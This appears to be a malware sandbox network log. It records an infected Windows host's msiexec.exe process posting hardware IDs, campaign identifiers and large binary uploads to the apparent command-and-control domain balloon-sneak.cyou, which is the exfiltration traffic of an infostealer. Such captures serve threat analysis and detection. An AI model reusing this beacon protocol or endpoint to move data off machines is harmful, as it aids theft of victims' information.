2024-11-29 14:47:24 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jggqo938ir47bd08ga63c9dqs9; expires=Tue, 25-Mar-2025 08:34:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ouq4uTyQ7ObbMETIwxPmKYeSI3is3WTtdeDK5m8r0RxarZad0UdCBL3NWVpzujBOkGO%2BDxy4zCHKCFnBtnal2g2aPmqNGg5nnZM353xKWUmL3YiZ5N7c4xVVWosWEwCkQiXznns%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea3647bedf2de94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1499&min_rtt=1495&rtt_var=569&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13779&delivery_rate=1908496&cwnd=214&unsent_bytes=0&cid=a68f5efb055321fa&ts=2866&x=0"
2024-11-29 14:47:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 14:47:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49957	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:26 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SUB5EQHZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15019 Host: balloon-sneak.cyou
2024-11-29 14:47:26 UTC	15019	OUT	Data Raw: 2d 2d 53 55 42 35 45 51 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 37 33 46 43 33 39 36 35 44 41 39 33 33 36 31 36 39 34 32 38 46 39 39 44 46 42 34 37 44 39 0d 0a 2d 2d 53 55 42 35 45 51 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 55 42 35 45 51 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 30 37 0d 0a 2d 2d 53 55 42 35 45 51 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --SUB5EQHZContent-Disposition: form-data; name="hwid"7473FC3965DA9336169428F99DFB47D9--SUB5EQHZContent-Disposition: form-data; name="pid"2--SUB5EQHZContent-Disposition: form-data; name="lid"MeHdy4--pl8vs07--SUB5EQHZContent-Dispos
2024-11-29 14:47:28 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ur69akqbtsjt8q9labhd2runt6; expires=Tue, 25-Mar-2025 08:34:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nGrAfBQCvFdUEwvYI3zY7idUZqtUTj5kOjuDGwGi27G30j%2FMOs1mP9AN3T2M312cRDJnN%2FrGysUUhfeZlU0WKR8GbUd9%2BK%2BgqntveTbo9Fnf28aQbc5VM3MmPpIa4qlqZ9h%2BboA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea36496681e4376-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1586&rtt_var=793&sent=9&recv=19&lost=0&retrans=1&sent_bytes=4226&recv_bytes=15951&delivery_rate=199358&cwnd=247&unsent_bytes=0&cid=469f586da38bb5f8&ts=2660&x=0"
2024-11-29 14:47:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 14:47:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49968	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:30 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EJ435EBWTTY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20527 Host: balloon-sneak.cyou
2024-11-29 14:47:30 UTC	15331	OUT	Data Raw: 2d 2d 45 4a 34 33 35 45 42 57 54 54 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 37 33 46 43 33 39 36 35 44 41 39 33 33 36 31 36 39 34 32 38 46 39 39 44 46 42 34 37 44 39 0d 0a 2d 2d 45 4a 34 33 35 45 42 57 54 54 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 4a 34 33 35 45 42 57 54 54 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 30 37 0d 0a 2d 2d 45 4a 34 33 35 45 42 57 54 54 59 0d 0a 43 6f Data Ascii: --EJ435EBWTTYContent-Disposition: form-data; name="hwid"7473FC3965DA9336169428F99DFB47D9--EJ435EBWTTYContent-Disposition: form-data; name="pid"3--EJ435EBWTTYContent-Disposition: form-data; name="lid"MeHdy4--pl8vs07--EJ435EBWTTYCo
2024-11-29 14:47:30 UTC	5196	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-11-29 14:47:33 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cg2c68bt3co3ics6h1tku2cb15; expires=Tue, 25-Mar-2025 08:34:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kMBuFIf7u9NxllvuK0x4WVY90S2Z5hlz4%2Fq2HHnYFa82XO8K2aMqIOCLG9u7ZfDngvGoXeMcP3HOdFh%2FTiRSepD0V4nKyqnXz%2BisXLxUklltCDOZuo2ctLn1NjD6i5C1v1DQevs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea364b04c541a2c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1815&rtt_var=907&sent=19&recv=25&lost=0&retrans=1&sent_bytes=4228&recv_bytes=21484&delivery_rate=51105&cwnd=174&unsent_bytes=0&cid=3bbe3cb7deb6bca0&ts=2895&x=0"
2024-11-29 14:47:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 14:47:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49979	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:35 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YF0REV3XAYZX6E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1226 Host: balloon-sneak.cyou
2024-11-29 14:47:35 UTC	1226	OUT	Data Raw: 2d 2d 59 46 30 52 45 56 33 58 41 59 5a 58 36 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 37 33 46 43 33 39 36 35 44 41 39 33 33 36 31 36 39 34 32 38 46 39 39 44 46 42 34 37 44 39 0d 0a 2d 2d 59 46 30 52 45 56 33 58 41 59 5a 58 36 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 46 30 52 45 56 33 58 41 59 5a 58 36 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 30 37 0d 0a 2d 2d 59 46 30 52 45 56 Data Ascii: --YF0REV3XAYZX6EContent-Disposition: form-data; name="hwid"7473FC3965DA9336169428F99DFB47D9--YF0REV3XAYZX6EContent-Disposition: form-data; name="pid"1--YF0REV3XAYZX6EContent-Disposition: form-data; name="lid"MeHdy4--pl8vs07--YF0REV
2024-11-29 14:47:38 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m7grlgt8hvb8kel12vo92d256i; expires=Tue, 25-Mar-2025 08:34:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Say2sk8XO2naoVwr9yN4%2BnIsCy2uBaZ86yDQFQnTjiennwlLHUaVFw%2FmQhRe3ztLmXQWbylOwm9AEnNumEDg4zjWu1va7U0IfF%2BScrHAbggSFB%2Fhl0HbIr9%2BmR2qk%2BaTw5koI1s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea364d14e6d7d11-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1847&min_rtt=1846&rtt_var=693&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2141&delivery_rate=1581798&cwnd=241&unsent_bytes=0&cid=18d880451dca263b&ts=3263&x=0"
2024-11-29 14:47:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 14:47:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49982	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:40 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JJX34UEW35JP2GY5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588854 Host: balloon-sneak.cyou
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: 2d 2d 4a 4a 58 33 34 55 45 57 33 35 4a 50 32 47 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 37 33 46 43 33 39 36 35 44 41 39 33 33 36 31 36 39 34 32 38 46 39 39 44 46 42 34 37 44 39 0d 0a 2d 2d 4a 4a 58 33 34 55 45 57 33 35 4a 50 32 47 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 4a 58 33 34 55 45 57 33 35 4a 50 32 47 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 30 37 0d 0a 2d 2d Data Ascii: --JJX34UEW35JP2GY5Content-Disposition: form-data; name="hwid"7473FC3965DA9336169428F99DFB47D9--JJX34UEW35JP2GY5Content-Disposition: form-data; name="pid"1--JJX34UEW35JP2GY5Content-Disposition: form-data; name="lid"MeHdy4--pl8vs07--
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: 24 47 45 39 58 10 f8 59 c4 35 07 08 80 37 42 76 6a b5 e0 7a 88 d3 81 31 8d db 15 a2 eb 1a f5 db cc ad 47 12 02 f2 62 cb 58 c2 bd 50 73 bd 00 61 92 14 a9 d2 e4 5d 60 69 d9 ce fd f2 b4 72 93 20 21 bd f3 d5 e3 42 16 46 aa b0 ef c1 27 cc 77 85 0e 7d 5c 9e 38 ad 1c 5d 25 08 c4 2a 27 9f e7 03 ea 54 03 56 bb fc d4 82 43 af c1 af a7 ab 95 ae ff c9 a1 60 71 ce c8 eb 07 a1 ae a2 ac c5 df d4 f6 c7 f0 47 27 18 c0 17 e5 5b 6d 0f ca db 20 3f f7 0b d8 b9 31 3b 9e e9 b2 fe e7 0f ca dc 99 55 7e 77 2b 81 c9 6e 48 1e 19 bd 37 f6 80 fd 48 57 a9 53 60 6f fe 5b 68 3b ea f2 18 b0 4b be fc 6f 43 67 5d 35 c2 0f 3a c0 1c 0e 11 9b d4 7c 04 70 bc 12 01 92 4c d3 06 73 34 d6 3f 99 55 40 09 90 44 71 77 50 42 f6 c7 c1 5b 9b 94 0b 9d 76 10 73 9f 5c bf 30 70 7c 90 e9 ec 83 03 2d f3 9b de Data Ascii: $GE9XY57Bvjz1GbXPsa]`ir !BF'w}\8]%*'TVC`qG'[m ?1;U~w+nH7HWS`o[h;KoCg]5:\|pLs4?U@DqwPB[vs\0p\|-
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: cb a6 b1 81 06 65 af e9 9d 65 bf ee bf 0f f7 cb 8e 8b 8d dd d0 3a 8f 7c 5c 37 cf 41 84 e7 ba 2c fa 3c 47 17 75 74 4d 96 79 61 67 3b fa af 3d 84 6c da 02 b1 ed 83 b9 d4 af 51 25 ba d8 db 7c ca ac a0 af 00 38 bb 4d 0f 72 ef ec 98 61 38 6d 56 0e 2c 55 ee 58 b0 3f c0 6b 1f 0a 1e 4f 5c b8 a9 78 99 5e b7 3e bf 38 68 a6 b7 b8 a2 43 ff a3 05 10 3b 17 a3 8e 68 05 e5 64 fa bf 30 d9 98 7a ea 7c 75 38 41 65 6f f5 4c 7d b7 c9 9e ac aa 6d 68 f8 01 83 48 49 42 81 78 33 af b6 1a eb 41 86 3c 37 94 d7 4d 1f fa df 73 2a 4f 03 fa ee df da e3 a1 17 04 22 2e 80 f0 a1 9b e1 1e 80 2d fb 14 80 93 66 a0 3f 1c f4 5f 9f f1 41 be 2d 06 14 9e 13 b7 f9 7f 0f e7 49 3a 2a 60 f3 5a 14 41 cf 82 50 63 45 13 43 00 e0 31 c2 cd 20 ab a1 b6 ba a9 b1 1c 1d c0 7c 50 33 52 6b cd c1 ca d2 70 23 52 Data Ascii: ee:\|\7A,<GutMyag;=lQ%\|8Mra8mV,UX?kO\x^>8hC;hd0z\|u8AeoL}mhHIBx3A<7MsO".-f?_A-I:`ZAPcEC1 \|P3Rkp#R
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: cf 61 27 65 95 ae 0f da f5 94 d0 4e c0 b2 2a d7 c4 f8 ad ea 8e 98 19 2a 7f 55 ba 97 09 da cb 04 8b a5 ed 98 42 0e c0 52 27 3b b4 06 f0 28 db a8 4f ac a8 20 c8 45 7d 10 a9 18 2f 8e de b3 9b 5d 78 94 c9 77 f8 c8 78 05 5d 61 a6 25 4b 5e 49 c1 39 cc 01 5c 81 65 d6 19 f9 0b 38 c4 f6 1a 83 06 97 5b 08 bf 7b f4 33 db c9 5c a7 54 0f 9e e4 a7 70 5a 57 98 14 07 fe 85 95 af d8 8d 95 fa 57 07 ac 96 55 7c 53 25 6d a9 05 38 a6 54 3f 3f f9 e0 07 e7 20 38 12 72 49 04 f0 36 65 90 48 43 82 34 b0 4b b9 98 11 28 d4 64 6f ec a8 e6 9b 15 64 29 5d d3 5d 06 08 fb b7 b5 a2 e6 d9 0b 25 82 af c5 80 e8 c1 ab 23 8e ca 60 a3 87 13 cc 91 e4 ae ce fa 14 7d 60 4d 0b 71 b6 d0 15 eb aa d4 b2 1c 6e e4 37 bf 9e cf ec c9 82 f9 d6 60 b3 7a ef 3f 5c 83 af dc f8 1e 01 9a 2a e8 29 bc 3d f9 d6 28 Data Ascii: a'eN*UBR';(O E}/]xwx]a%K^I9\e8[{3\TpZWWU\|S%m8T?? 8rI6eHC4K(dod)]]%#`}`Mqn7`z?\)=(
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: a9 d0 cd 97 97 24 bc d0 d6 18 35 c9 ef 47 6f c8 49 26 7e c7 a1 81 96 84 60 6c cc 1e 8c 17 eb 22 03 d5 1e 13 6a 6a 5a 0e 2b 3d 18 75 52 41 66 7d 5f fb 58 b5 3e c7 d4 bb 5d 1f c1 c7 1d 74 c2 77 bc ff b0 cc f6 fc 27 06 5e 7e f7 f5 9c 89 ec 58 97 3b 45 9f 4f eb 8a dc 7f a8 47 70 70 a0 f5 34 de 3c 44 1c de df ac 11 4e 38 78 78 e6 37 ed a8 65 4e 64 22 23 be c0 58 60 5c ac c6 5e 37 6f e1 cc 68 96 be 80 97 af 86 7c 34 ff 4a 7e 87 fa f1 dd ed 70 bc c0 2e ad cb a7 89 99 11 f8 e7 f7 da bb 72 97 39 25 82 27 e6 7d 2e 3b 47 61 86 a1 7b f2 18 41 29 c4 7a 43 66 30 bb 58 23 f7 85 14 1e 73 0e e4 ed 11 8c 52 a6 54 5c b4 eb 8f 42 2c 24 ce d6 ea 2b 7a ff df a9 fa ff df 05 52 21 cb 13 30 21 38 b0 5a 47 53 f4 81 16 1c 1a 8f e9 07 6f 5b 41 2a b1 0e 97 80 40 70 ce a4 71 fd 1c 81 Data Ascii: $5GoI&~`l"jjZ+=uRAf}_X>]tw'^~X;EOGpp4<DN8xx7eNd"#X`\^7oh\|4J~p.r9%'}.;Ga{A)zCf0X#sRT\B,$+zR!0!8ZGSo[A*@pq
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: 27 1c 3f 7b c3 56 9f f6 26 84 7a 91 bf 5a 08 ce 24 b1 79 f5 81 4f 6e 43 33 6a 8b 85 eb df 4c 0f 92 2d b9 cf 39 29 a5 fd 23 84 37 33 85 1a 7b a5 de d0 92 77 3b ea 5c be 5b fc ee b5 2e 9a 4c d7 01 75 e1 31 b3 17 67 a9 cb 7c 43 f9 a8 f0 b3 84 47 7b 3c 82 52 91 26 0a 55 d7 7c d8 c9 83 61 63 b1 6d f6 43 06 3c 28 b7 e5 c8 7a ca 73 27 0f 9f 8d e4 1a e2 19 ea f3 77 71 27 5f 8f 0a e0 90 0d a6 0c b9 b1 aa 04 4c 54 00 0e b8 35 99 cb 50 b4 33 61 0f 4d 7c a1 89 b6 04 fa f8 0c 35 08 82 b8 57 85 57 0e 4f 8d 05 92 fa 55 e7 06 43 8d 94 7e 36 6d 98 82 46 0b d5 c4 90 78 24 b6 64 45 40 5f 0f b9 b6 79 c1 37 79 68 36 29 66 a7 6f 51 75 e5 a7 7f 50 6a 2f d5 ef 1a c9 29 ad f2 41 73 11 64 fd 2a a5 74 bb e0 c4 3e 14 30 b3 fa fb 1d 3d d7 0c 34 06 94 02 38 77 45 ad f6 05 48 f4 8f 7b Data Ascii: '?{V&zZ$yOnC3jL-9)#73{w;\[.Lu1g\|CG{<R&U\|acmC<(zs'wq'_LT5P3aM\|5WWOUC~6mFx$dE@_y7yh6)foQuPj/)Asd*t>0=48wEH{
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: d1 54 10 d6 e3 42 ad 66 56 30 e3 96 8e dd 13 d5 8d bb b7 ff 73 c1 23 71 1a ff 12 bf 6a ac 12 8d 67 59 78 ad f7 0a 5e 73 c7 8b af 55 60 78 c4 32 c2 23 7a 55 68 c9 41 80 a1 6d 90 d7 7d 04 bc 3f aa 2a b0 b0 3c b9 9c 55 a3 1b 83 99 b5 1c 36 91 46 92 fe a5 a4 ac 21 af 33 55 22 44 e9 96 cb c9 14 23 80 6f 26 52 2b 6c cb 7c ce c6 12 ab 0e 6f f7 7c a7 c8 ee a4 b7 0c 77 be 4f d4 f2 2d f5 e4 cc bb 73 7c e8 4b 8b 9f 29 eb ee ef 7e a8 2f fe 04 a4 0c 1f 46 92 fe 0b 04 6d 7f 40 e9 95 9e 1d 31 24 cd fc ae 97 cb 2d e0 61 a4 05 96 9a 37 ed fd 26 be 73 84 8a c9 99 98 10 53 1c 60 17 df ca 78 d1 99 b3 99 fc dd 56 09 ca b2 c9 f0 fe ee 9b 8e 02 7f ca 90 9c fc 37 57 41 46 9b 25 0e 7c 1a e1 a2 16 9e 2e 4b fc ec 7b 1b 2e 51 69 fe 01 42 25 cc 35 ff 60 de 4d d1 b9 27 ce 38 86 d1 fa Data Ascii: TBfV0s#qjgYx^sU`x2#zUhAm}?*<U6F!3U"D#o&R+l\|o\|wO-s\|K)~/Fm@1$-a7&sS`xV7WAF%\|.K{.QiB%5`M'8
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: 1f 4f 76 d5 5c 3f 0e be 65 e8 2f 10 08 81 95 ed d5 2a cc af b2 5b 78 bf 63 95 e5 83 d9 c5 8b 94 c5 65 f5 40 e6 cd 0a 84 90 17 91 2f 4a 28 38 d5 e9 5b 26 f8 11 b0 93 af 4f eb c9 2f 3d b5 a0 1a 41 a4 73 ad 76 48 7c 7a c8 82 7a 1b 0e 7a 09 18 18 cc ac 77 34 b3 1c 0f f2 76 49 81 bd cc a3 0d f5 ee 80 b2 0f 9f 11 1b 3d 20 02 0a b3 57 fd 5b 8f 98 31 5e 09 80 3d 2d b0 3a 3e f3 18 70 12 c7 06 3e 15 eb 9a e1 01 07 78 5c b1 c0 e5 30 6c 0f ec 46 47 e0 52 cc 4b 31 fc 99 77 b4 6f a3 3e 6e d1 af ba 08 e0 12 3b 5d 99 fd f0 da 60 93 19 01 65 ff 99 c2 07 8d 1f 23 a3 39 fe fb f1 2a 0c 95 56 13 b9 f6 9f 98 1d 8c 5b 17 94 b0 00 93 26 db 68 44 36 58 75 c2 9c 02 64 73 72 42 92 a7 04 e5 24 40 11 33 e4 ab 0f 98 93 2f 91 99 ca 50 8e c1 ef fb 03 67 4d 51 75 aa d5 ab 37 1b d3 1c ee Data Ascii: Ov\?e/[xce@/J(8[&O/=AsvH\|zzzw4vI= W[1^=-:>p>x\0lFGRK1wo>n;]`e#9V[&hD6XudsrB$@3/PgMQu7
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: e5 bd 13 85 77 f7 26 1c d6 70 fb 3b ae e6 6c 1e b5 18 83 d1 8c d6 6e 64 4c e1 1d 40 d8 1f 48 b1 f6 03 f4 60 dc ff 2a ed 24 a9 13 45 9e 41 ca 2a 8c ce 37 d2 57 02 5a 21 59 37 09 3d b6 ce f2 96 38 d2 10 4d cf b6 69 1b 05 d0 18 31 ba 75 4e 6b 78 b4 de b9 89 91 4e 49 c5 0e d9 e8 e4 2d 24 8d 8b df e2 93 44 ec 42 4a d9 39 0d 52 3b 84 e6 c5 05 7c 2d ae 86 5e 89 a1 5a 54 e9 6d a8 27 8d 72 e4 fb 5b 3e e2 83 30 cf 7c 9f 3e 4d 02 75 ef 01 ad f6 8d ca 99 1f 24 bb 23 a6 53 9b 5f 83 87 2a 7e 90 74 44 5c af 40 0a 77 2c ea 46 f3 e6 f9 ac 63 4d 66 40 d7 cc 97 41 06 0a 5c 69 51 1c a0 bd e6 79 9f 3e 47 73 01 31 fe bc de bf d2 81 dd 24 fb a7 1a b9 1a e1 7d d7 0c c6 ea 3a 09 85 b6 e4 36 2e 5a 8e 7f 65 93 c0 7a 24 71 bd f7 86 87 0b e6 af 2b dc cf 7b a4 60 0a 1c 5d 05 50 f9 f2 Data Ascii: w&p;lndL@H`$EA7WZ!Y7=8Mi1uNkxNI-$DBJ9R;\|-^ZTm'r[>0\|>Mu$#S_*~tD\@w,FcMf@A\iQy>Gs1$}:6.Zez$q+{`]P
2024-11-29 14:47:40 UTC	15331	OUT	Data Raw: 87 ae e8 7f e1 27 b6 e7 ed 2b 44 fd 26 c5 9d 3e e6 20 eb bc d0 16 f6 8b a8 0a b7 17 a1 3c 49 de 66 e0 04 59 01 32 6c dd 68 2d ca df bb 17 b6 a8 5a eb 59 97 b7 7e 30 f3 36 8c f7 8c b1 92 d8 b3 9e a2 91 43 33 5d 52 be 80 72 36 0f 94 41 fc 3c 25 3b 44 13 06 ee 3b f3 89 28 b8 a2 18 d3 f7 c0 2e 51 bc ff df 57 a8 ab 52 3d b5 b4 0f 81 c2 73 c7 6d e8 b4 0e 92 0a 0a 64 a9 5e a0 c2 70 38 6a 07 58 40 ad ed 62 e5 d2 a8 28 18 15 8f a2 e1 61 c2 20 5c 81 b1 37 13 c4 be a3 02 62 8b 3b 00 b0 e7 72 10 ff 36 4c 30 86 d4 b7 da be 8f 9c 74 c0 bd bd 56 a5 bf 3b 5e 3d 47 b8 e5 00 1e 7b 8e e2 00 51 bc 7e d6 67 ff 2d f8 40 78 68 60 07 0b 18 e5 8e 71 c7 09 9f c3 16 15 75 fc 9c af ab 05 c5 a4 dd d1 d0 9a c2 ea 5b 23 84 07 02 c1 c6 40 a8 2e f1 d4 b0 c6 aa 35 ab 4a 4e 3a 08 0d 25 91 Data Ascii: '+D&> <IfY2lh-ZY~06C3]Rr6A<%;D;(.QWR=smd^p8jX@b(a \7b;r6L0tV;^=G{Q~g-@xh`qu[#@.5JN:%
